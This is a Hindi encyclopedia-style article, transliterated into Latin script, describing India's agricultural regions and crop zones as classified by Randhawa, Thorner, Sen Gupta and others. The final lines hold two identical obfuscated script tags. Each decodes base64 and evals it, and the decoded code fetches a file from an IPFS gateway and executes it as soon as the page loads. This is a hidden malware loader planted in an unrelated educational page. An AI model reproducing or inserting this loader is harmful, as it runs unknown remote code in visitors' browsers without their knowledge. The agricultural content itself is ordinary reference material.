भारत के कृषि प्रदेश

bharat ke krishi pradesh adhikaanshat: manasooni varsha par nirbhar haian. yahaan ki bhaugolik dashaean bhi bhinn-bhinn pakar ki haian. krishi pradesh ka tatpary us vistrit kshetr se hai, jahaan krishi sambandhi dashaoan, vishesh roop se fasaloan ke prakar evan unaki utpadan vidhi mean samanata payi jati hai. bharat mean tapaman, varsha uchchavach, mitti ke prakar, fasal evan pashuoan ka sah-sambandh adi ki vibhinnata ke karan anek krishi pradeshoan ka vikas hua hai. vibhinn vidvanoan ne do pramukh charoan ke adhar par bharat ke krishi pradeshoan ke nirdharan hetu prakritik karanoan ko mahattvapoorn mana hai, to kuchh vidvanoan ne fasaloan ki pramukhata ke adhar par bharat ko krishi pradeshoan mean vibhajit kiya hai.

varsha ki sthiti

d aau. si. bi. kresi ka yah kathan hai ki "kisi bhi desh mean itane vyakti varsha par nirbhar nahian karate, jitane ki bharat mean, kyoanki samayik varsha mean kianchit bhi parivartan hone se sampoorn desh ki samriddhi ruk jati hai. varsha ka vitaran, tapaman, samudratal se ooanchaee, akshaansh, prakritik vanaspati, mittiyaan, fasalean aur pashu adi ki kismean sabhi krishi ke svaroop evan krishi pradeshoan ke nirdharan mean b da prabhav dalate haian. is sabhi prabhavoan ko dhyan mean rakhane par ek mahattvapoorn tathy spasht hota hai ki desh ke vibhinn bhagoan mean fasal utpadan sambandhi athava krishi ki dasha mean samanata payi jati hai aur ek sankramak kshetr doosare mean tivrata se parivartit n hokar dhire-dhire doosare kshetr mean badalata hai. keval madhyavarti kshetroan mean hi yah bhinnata adhik spasht roop se parilakshit hoti hai.

vibhajan

anek vidvanoan dvara bharat ko krishi pradeshoan mean vibhajit karane ka prayas kiya gaya hai. inamean d aau. stamp, pro. simakins, d aau. spet ke nam vishesh ullekhaniy haian. sabhi ne krishi pradeshoan ko nishchit karane ka adhar bhoo-prakriti, jalavayu aur janasankhya ghanatv ko mana hai. d aau. chain h aaun saiang ne bhoo-akriti evan usaki sthiti, krishi, jal ki vyavastha, fasaloan ka praroop, bhoomi lagan vyavastha evan samany arthik vikas tatvoan ko krishi pradesh ke vargikaran mean pramukh tatv manakar sampoorn desh ko 16 pramukh bhagoan mean baanta hai. d aau. tharnar ne krishi ayojan evan prabandhan ki drishti se desh ko kee prakar se krishi pradeshoan mean vibhajit kiya hai. ek vargikaran mean un fasaloan ke pradeshoan ko sammilit kiya gaya hai, jo mukhy fasaloan ki utpadak yojanaoan se sambandhit hai. doosare mean krishi jalavayu pradesh ke krishi ayojan ke sabhi tathyoan ko drishtigat rakhate haian. fasal pradeshoan ko in vidvanoan ne sat mukhy fasaloan evan tin any fasaloan ke adhar par baantate samay do batoan ka dhyan rakha hai- pratham, kul rashtriy utpadan mean ek fasal ka kitana pratishat ek zile se prapt hota hai. doosara, us zile mean kul boyi gayi bhoomi ke anupat mean us fasal ke kshetr ka pratishat kya hai. is prakar nimn krishi up-vibhag kiye gaye haian-

1. kapas kshetr (6)
2. mooangaphali pradesh (10)
3. ganna pradesh (8)
4. makka pradesh (9)
5. jvar pradesh (9)
6. chaval pradesh (12)
7. mote anaj pradesh (14)
8. dal pradesh (13)
9. tilahan pradesh (13)

is prakar kul fasal pradeshoan ki sankhya d aau. tharnar ke anusar 13 hai. krishi janavayu pradesh simaankan ke anusar tharnar nan bharat ko 3 brihat krishi pradeshoan, 10 up krishi pradeshoan evan 52 fasal vishesh pradeshoan mean vibhajit kiya hai.

d aau. randhava ka vibhajan

krishi visheshajn d aau. randhava ke anusar bharat ko paanch brihat krishi pradeshoan mean baanta ja sakata hai-

1. shitoshn himalay pradesh
2. uttari shushk gehooan pradesh
3. poorvottar athava chaval pradesh
4. pashchimottar athava malavar pradesh
5. dakshini madhyam varsha athava mote anaj vala pradesh

shitoshn himalay pradesh

is pradesh ko do up-vibhagoan mean vibhajit kiya gaya hai- (k) poorvi himalay pradesh, jisake antargat arunachal pradesh ka paha di bhag, oopari asam, sikkim aur bhootan sammilit haian. yahaan 250 sentimitar se adhik varsha hone se saghan van paye jate haian. yahaan mukhyatah chay v chaval paida kiye jate haian. (b) pashchimi himachal pradesh, isake antargat kumayooan, gadhaval, shimala ki pahadi़yaan, jammoo-kashmir evan himalay pradesh shamil hai. yahaan ki jalavayu prayah ardhashushk hai. uttari bhagoan mean sardiyoan mean varsha athava himapat hota hai. yahaan par seb, nashapati, cheri, shaphtaloo, badam, aangoor adi phal vishesh roop se paida kiye jate haian. aloo, makka aur chaval any fasalean haian. bhean d, bakari palan yahaan ka mukhy athava sahayak vyavasay hai. isase oon tatha maans prapt hota hai. shahad prapti hetu madhumakkhi palan bhi kiya jata hai. ab yahaan vikasit evan sianchit krishi ki jati hai.

uttari shushk athava gehooan pradesh

is pradesh mean panjab, hariyana, dilli, uttari gujarat, uttar pradesh, rajasthan evan madhy pradesh sammilit haian. yahaan varsha 75 se.mi. se kam hoti hai. marusthaliy bhagoan mean varsha 20 se.mi. se bhi kam hoti hai. mitti me baloo evan kaanp vishesh roop se payi jati haian. sabhi sthanoan par sianchaee ki sahayata se gehooan v chaval paida kiya jata hai. yah bharat ka pramukh gehooan pradesh hai. kapas, jau, chana, makka, jvar-bajara any sahayak fasalean haian. gho de, ooant, bhe d-bakariyaan evan gay-bail yahaan ke pramukh pashu haian. yahaan uttam nasl ki gay, bail, murra nasl ki bhaiansean, gho de evan bhe dean pali jati haian. bhoosa hari chari tatha unnat pashu ahar dudharoo pashuoan ko khilaya jata hai.

poorvi tar athava chaval pradesh

isake antargat asam, meghalay, tripura, manipur, pashchim bangal, bihar, u disa, uttarakhand, poorvi andhr pradesh, poorvi tamilanadu poorvi madhy pradesh mukhyatah ate haian. yahaan par varsha 150 se.mi. athava isase adhik hoti hai. kaanp mitti adhik payi jati hai. yahaan ki mukhy fasal dhan hai. any fasaloan mean ganna, joot evan chay sthaniy roop se bahut mahattvapoorn hai. chare ke antargat bahut hi kam kshe़tr hai. at: yahaan ke pashu jaise- bhaianse adi nikrisht shreni ke hote haian.

pashchimi tar athava malavar pradesh

mumbee se kanyakumari tak yah mekhala payi jati hai. keral, karnatak evan maharashtr ke tatiy bhagoan mean varsha 250 se.mi. athava isase adhik hoti hai. yahaan adhikaanshatah laiterait mitti payi jati hai. yahaan par bagani fasalean adhik paida ki jati haian, jinamean nariyal, kajoo, kahava, chay, annanas, tepiyok, supari, garam masale tatha rab d adi mukhy haian. chaval yahaan ka mukhy khadyann hai.

mote anaj vala pradesh

is pradesh ke antargat dakshini uttar pradesh, dakshini gujarat, pashchimi madhy pradesh, poorvi maharashtr tatha adhikaansh karnatak sammilit hai. yahaan varsha 50 se.mi. se 75 se.mi. hi hoti hai, kyoki yah pradesh adhikaanshatah vrishti chhaya kshetroan mean ate haian. yahaan lava ki kali mitti, laiterait, kahian-kahian kaanp mitti payi jati hai. yahaan mukhyat: kapas, mooangaphali, chaval, ganna, jvar, bajara, ragi, reandi dalean adi vishesh roop se paida ki jati haian. is pradesh mean bhe dean adhik payi jati haian. inase milane vali oon prayah ghatiya kism ki hoti hai. ab shahatoot ki sahayata se resham ki pharmiang ka bhi vikas ho raha hai.

is vargikaran ko bhaugolik paryavaran, sthaniy sansadhan svaroop, janasamasya praroop evan krishi rachit gaveshana ki drishti se vishesh manyata nahian mil saki. kyoanki matr varsha tatha tapaman aur usake bhoomi se rasayanik sambandh ko hi mote taur par dhyan mean rakha gaya hai. jabaki bharat jaise vishal desh evan brihat saanskritik samasya vale atiprachin krishi pradhan desh ke lie aisa uchit nahian hai. at: aisa vargikaran adhoora evan anapekshit bhi hai.

pi. sen gupta evan ji.es. dayuk ke krishi pradesh

pro. sen gupta evan es. dayuk ne bhi krishi pradeshoan ka vargikaran prastut kiya hai. isamean desh ko char pradhan pradeshoan evan 25 madhyam aur 60 laghu pradeshoan mean baanta gaya hai. mukhy pradesh nimn prakar haian-

1. himalay khand
2. poorvi evan ardr tatiy khand
3. arddh-ardr pradesh
4. shushk khand

himalay khand

is khand mean jammoo-kashmir, himachal pradesh, kumayooan, himalay evan parvatapadiy khand, pashchim bangal ka darjiliang zila, asam, himachal pradesh evan aroonachal pradesh sammilit haian. yahaan varsha 125 se 250 sentimitar hoti hai. krishi evan basav ki drashti se adhikaansh parvatiy kshetr nagany mahatv ke haian. pradesh ke 7 pratishat bhag par krishi ki jati hai. gehooan, makka, vakahit, chaval, aloo adi mukhy fasale hai. rasadar phal vishesh roop se paida kiye jate haian.

poorvi evan ardr tatiy khand

uttar-poorvi evan madhy pray:dvipiy pathar, manipur, mijoram, khasi, garo, jayantiya, mikir pahadi़yaan, uttari kachhar, nagalaind se lekar madhyavarti madhy pradesh tak is khand ki ikaiyaan haian. isame ganga ka delta, asam ka maidani bhag evan sampoorn tatiy bhag sammilit hai. yahaan varsha 100 se 125 sentimitar hoti hai. fasaloan ke lie samanyatah sianchaee ki avashyakata nahian rahati. chaval is khand ki mukhy fasal hai. chay, joot, ganna, gehooan, tilahan, chana, garam masale, nariyal, ta d, rab d, kela, katahal adi any fasalean mahattvapoorn haian.

arddh-ardr pradesh

is khand mean oopari aur madhy ganga ke maidan, (ganga-yamuna ke doab, taraee, dakshini ganga ka maidan, uttar pradesh ke poorvi zile tatha champaran zila) pashchimi bihar, pray:dvipiy bharat mean buandelakhand se lagakar, poorvi tatiy pradesh, malava, dakshin-poorvi maharashtr, uttari tatha dakshini telangana, karnatak, tamilanadu, vardha nadi ka besin, oopari tapi nadi ki ghati, malanad evan maidani kshetr, andhr pradesh ka adhikaansh tat, krishnaa-godavari ka delta, tamilanadu tat adi ikaiyaan isamean sammilit ki gayi haian. yahaan varsha 75 se 100 sentimitar hoti hai. sianchaee ki suvidha mil jane par krishi kshetr ka tezise vistar hone lagata hai. tatiy bhagoan evan ganga ke maidan mean 70 pratishat bhoomi par krishi ki jati hai. ganna, chaval, gehooan, joot, makka, mooangaphali, kapas, tilahan evan tambakoo yahaan ki mukhy fasalean hai.

shushk khand

is khand ke antargat panjab aur hariyana ka maidan ,pashchimi uttar pradesh, rajasthan ka marusthal, gujarat ka saurashtr evan kachchh prayadvip, pashchimi ghat ka poorvi vrishtichhaya ka sankara pradesh (narmada-tapi ka doab, oopari godavari, tuangabhadra, bhima evan krishnaa nadiyoan ke besin aur r aauyal-sima ke pathar) sammilit hai. yahaan par varsha 75 sentimitar se kam hoti hai. prayah sarvatr hi jal ka abhav rahata hai. keval sianchit bhagoan me hi do fasalean sambhav haian. atah yahaan jvar, bajara, mote anaj, chana, tilahan evan jal milane par gehooan, kapas, mooangaphali, makka, matar, masale, dalean adi mukhyatah paida kie jate haian.

krishi pradeshoan mean vibhajan

bharat ko nimnalikhit krishi pradeshoan me vibhajit kiya ja sakata hai-

chaval pradhan kshetr

is kshetr mean brahmaputr ki ghati, pashchim bangal, bihar, poorvi uttar pradesh, poorvi madhy pradesh, chhattisagadh, u disa, andhr pradesh tatha samudr tatiy bhag adi sammilit haian, parantu mitti tatha varsha ki matra me vibhinnata ke karan isamean anek fasaloan ka sanyog dikhaee p data hai, jisamean nimnalikhit pramukh haian- [[chitr:Rice-Harvest.jpg|thumb|250px|chaval ki fasal]] dhan-joot kshetr - yah kshetr pashchim bangal se u disa tak prasarit hai, jahaan ka ausat tapaman 24° tatha ausat varshik varsha 120 se.mi. se adhik hai. is kshetr mean krishikrit bhoomi ke 80 pratishat mean chaval ki krishi ki jati hai. chaval ki prayah do fasalean ugaeean jati haian tatha usaki krishi joot ke sath adal-badal kar li jati hai. mukhy deltaee pradeshoan mean joot ki pradhanata hai. 

chaval-joot-chay kshetr - brahmaputr ki ghati ki bhoomi evan jalavayu tatha pashchim bangal ki bhoomi aur jalavayu mean prayah samy milata hai, atah chaval evan joot ka sanyog milana svabhavik hai, lekin nikatavarti dhaloan par chay ke bagan milate haian. atah chaval-joot-chay mukhy shamy sanyog hai. tripura ke poorvi parvatiy dhaloan par bhi isi prakar ka sanyog milata hai.

chaval-makka-gehooan-ganna kshetr -madhy ganga ke maidan uttari bihar tatha poorvi uttar pradesh mean pashchim bangal ki apeksha kam varsha (ausat varshik varsha 100 se.mi.) hoti hai. phalatah chaval mukhy khadyann to hai, rabi ki kheti bhi achchhi hoti hai. rabi ki fasaloan mean jau, khariph ki fasaloan mean makka aur ganna adhik ugaya jata hai. idhar kuchh varshoan se jau ki krishi kam hone lagi hai tatha kisan adhik upaj prapt karane ke lie ne gehooan ki kheti adhik karane lage haian.

'chaval-gehooan-chana kshetr - uttari bihar maidan ke dakshin ke kshetroan mean bhoomi ooanchi tatha pathari hai, jisaki vajah se ganna tatha makka ki krishi kam hoti hai. khariph ki fasaloan mean chaval tatha rabi ki fasaloan mean chana adhik ugaya jata hai.

chaval-tilahan kshetr - jharakhand, pashchimi u disa tatha poorvi madhy pradesh visheshakar chhattisagadh ke pathar mean varsha ka ausat 120 se.mi. hai. bhoomi pathari tatha apekshakrit kam upajaoo hai. sianchaee ke sadhanoan ki kami hai. atah khariph me chaval ki krishi mukhy hoti hai tatha rabi ki fasaloan mean tilahan adhik boya jata hai. jin kshetroan mean sianchan suvidhaean sulabh nahian hai tatha bhoomi ka dhal adhik hai, jvar, bajara tatha any mote anaj ugaye jate haian. jharakhand ke pathari bhagoan mean chaval, tilahan, makka tatha mote anajoan ka sanyog prayah dekhane ko milata hai. par chaval, tilahan ki kheti dekhane ka sanyog is sampoorn pradesh mean paya jata hai.

chaval-tambakoo kshetr - godavari evan krishnaa ke delta tatha as-pas ke kshetroan mean chaval mukhy fasal hai, par tambakoo ke utpadan mean bhi is kshetr ki visheshata hai. isamean guntoor, pashchimi godavari, poorvi godavari janapad tatha as-pas ke kshetr shamil haian.

chaval-mooangaphali kshetr - in fasaloan ka sanyog tamilanadu tat par arkat, tiruchirapalli, puducheri mean varsha ki adhikata tatha bhoomi ki upayuktata ke karan milata hai.

chaval-kapas kshetr - poorvi samudr tat ke dhur dakshini bhag mean chaval ke sath kapas ka sanyog bhoomi ki visheshata ke karan dekhane ko milata hai.

chaval-masala kshetr - dakshin-pashchimi samudr tat, jisake aantargat keral ka lagabhag sampoorn samudr tat sammilit hai, nariyal ke utpadan mean apana vishesh sthan rakhata hai. chaval mukhy khadyann hai tatha masale bhi adhik utpann hote hote haian.

chaval-jvar-bajara-tilahan kshetr - karnatak ke pathari bhagoan mean jalavrishti adhik hone ke karan chaval ki krishi ki pradhanata hai. jvar, bajara ka bhi utpadan hota hai. tilahan is kshetr ki visheshata hai.

chaval-ragi kshetr - pashchimi samudr tatiy bhagoan mean uttar pradesh mean dadara se prarambh hokar dakshin mean keral ki sima tak chaval ki ek sankari peti milati hai, jahaan chaval ki mukhy fasal hai. any fasaloan mean ragi mahattvapoorn hai.

chaval-kapas-tambakoo kshetr - gujarat mean khambhat ki kha di ke kshetr mean varsha ki prachurata ke karan khariph ki fasaloan mean chaval mukhyatah ugaya jata hai. kali mitti ke kshetr mean kapas tatha tambakoo vishesh roop se utpadit ki jati hai. atah is kshetr mean in tinoan fasaloan ka mukhy sanyog dikhaee p data hai.

gehooan pradhan kshetr

is kshetr ke antargat oopari ganga tatha sataluj ke maidan, dakshin-pashchimi uttar pradesh tatha poorvi rajasthan ke kshetr sammilit haian. any kshetroan ki apeksha isaka vistar kam hai. bharat mean gehooan ka utpadan sianchaee dvara kiya jata hai. panjab tatha uttar pradesh mean naharoan tatha nalakoopoan dvara sianchit kshetr mean gehooan ki krishi adhik hoti hai. pashchimi madhy pradesh mean kali mitti ke mishran ke karan namian bani rahati hai, jisase sianchaee bina hi kam chal jata hai. par chambal adi nadi ghati pariyojanaoan dvara ab sianchaee ke sadhanoan mean vriddhi ho gee hai. lekin sampoorn gehooan pradhan kshetroan ki bhaugolik paristhitiyaan saman nahian haian. phalatah yahaan nimnaankit shasy-sanyojan kshetr milate haian, milate haian- [[chitr:Wheat-1.jpg|thumb|left|250px|gehooan ki fasal]] gehooan-chaval-ganna kshetr - is kshetr mean oopari ganga ke maidan ka dab kshetr, roohelakhand tatha avadh ke maidan sammilit haian. is kshetr ka ausat tapaman 26° tatha varshik varsha 100 se.mi. se kam hai, lekin naharoan aur nalakoopoan dvara sianchaee ka achchha prabandh haian. atah gehooan mukhy khadyannoan mean hai. sianchaee aur urvarak ke bal par sadharan roop mean khariph mean chaval tatha unhian kheti mean rabi mean gehooan utpann kiya jata hai. ganna mukhy mudradayini fasal hai, jo is kshetr mean sarvatr ugayi jati hai. avadh ke maidan mean chana bhi kafi utpann hota hai.

gehoo-chana-makka-dhan-kapas kshetr - panjab ke maidani bhag mean sianchaee ki suvidha ke karan yah desh ka ek pradhan gehooan utpadak kshetr ho gaya hai. chaval, makka tatha ganna ki bhi uttam kheti hoti hai. yah bharat ka ek pramukh kapas utpadak kshetr bhi hai.

gehooan-jvar-bajara-makka-chana kshetr - is kshetr mean yamuna ke uttar pradesh ka pathari bhag tatha madhy pradesh ka uttari pathari bhag sammilit hai, jahaan sianchaee ki suvidha bahut kam hai. kuchh vishesh sthaloan par nadiyoan ki ghatiyoan mean hi sianchaee ka prabandh ho saka hai. atah varsha rritu mean hi krishi vishesh roop se ki jati hai, jisamean jvar, bajara, makka adi boee jati haian. rabi ki fasaloan mean sianchaee ki suvidha ke mukhy kshetroan mean gehooan ki krishi ki jati hai. kuchh kshetroan mean chana utpadit kiya jata hai, jisake liye apekshakrit kam sianchaee ki avashyakata hoti hai.

gehooan-chana-tilahan-jvar-bajara kshetr - is kshetr mean madhy pradesh ka pashchimi bhag (chambal tatha son ke bich ka kshetr) p data hai, jahaan ki bhoomi ooanchi-nichi evan paha di hai. sianchan suvidha kuchh vishesh sthaloan par hi simit hai. nadiyoan ki ghati tatha maidani bhag mean gehooan ki achchhi fasal hoti hai. kuchh sthaloan par jvar-bajara boya jata hai. tilahan tatha chana ki bhi krishi ki jati hai.

jvar-bajara kshetr

yah kshetr uttar mean panjab ki dakshini sima se lekar tamilanadu tak vistrit hai. isamean rajasthan, gujarat, maharashtr, karnatak, tamilanadu rajy tatha unase sanlagn pradesh sammilit haian, bhoomi tatha varsha ki vishamata ke karan yahaan nimnaankit shamy-sanyog milata hai- thumb|200px|jvar jvar-bajara-gehooan-tilahan-chana kshetr - yah kshetr desh ka sabase adhik shushk pradesh hai. yahaan 40 semi se kam varsha prapt hoti hai tatha baluee mitti paee jati hai. phalatah jvar, bajara mukhy fasalean haian. sianchit kshetr mean gehooan utpann kiya jata hai. sarasoan (tilahan) tatha chana ki bhi krishi ki jati hai.

jvar-bajara-mooangaphali-kapas kshetr - yah kshetr gujarat ke pashchimi bhag (kathiyava d) mean prasarit hai, jahaan varshik varsha lagabhag 100 se.mi. prapt hoti hai. bhoomi kuchh baluee hai tatha lava ke bhagnavashesh bhi milate haian, atah yahaan ka bhaugolik parivesh poorvi maharashtr se milata-julata hai. jvar, bajara, mooangaphali tatha kapas yahaan ki mukhy fasalean haian. mooangaphali ki krishi ke lie yah kshetr vishesh mahatv rakhata hai.

bajara-gehooan-kapas-moogaphali kshetr - in fasaloan ka sanyog kali mitti ke pradesh ke pashchimi bhag, pashchimi maharashtr, uttari karnatak ke pathari bhag mean milata hai. bajara evan gehooan mukhy khadyann haian. kapas evan mooangaphali mudradayini fasalean haian. tambakoo bhi is kshetr mean adhik utpadit hoti hai.

jvar-bajara-mooangaphali-kapas kshetr - is kshetr mean maharashtr tatha karnatak ke poorvi bhag tatha andhr pradesh ke pashchimi bhag sammilit haian. adhikaansh bhag mean varsha ki nyoonata hai, jisase jvar mukhy fasal hai. bajara ka dvitiy sthan ata hai. kapas aur mooangaphali mudradayini fasalean haian. bhoomi apekshakrit kam upajaoo hone ke karan kapas ki fasal utani achchhi nahian hoti, jitani pashchimi pathari bhag mean, parantu mooangaphali ke liye upayukt vatavaran rahata hai.

jvar-chaval-ragi-mooangaphali kshetr - tamilanadu ke dakshini pathari bhagoan par bhoomi kam upajaoo hone tatha varsha ki nyoonata ke karan jvar aur ragi mukhy khadyann haian.

kahava-chay kshetr - karnatak ke pashchimi bhag mean varsha ki adhikata ke karan kahava tatha chay ke bagan adhik milate haian.

chay-kahava-rabar-masale ke kshetr - keral rajy ke pathari bhagoan par chay evan kahava ke atirikt yahaan par rabar evan masaloan ka bhi achchha sanyog milata hai.

chay kshetr - asam ke uttar poorvi bhag mean chay ke adhikaansh bagan milate haian.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

sanbandhit lekh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>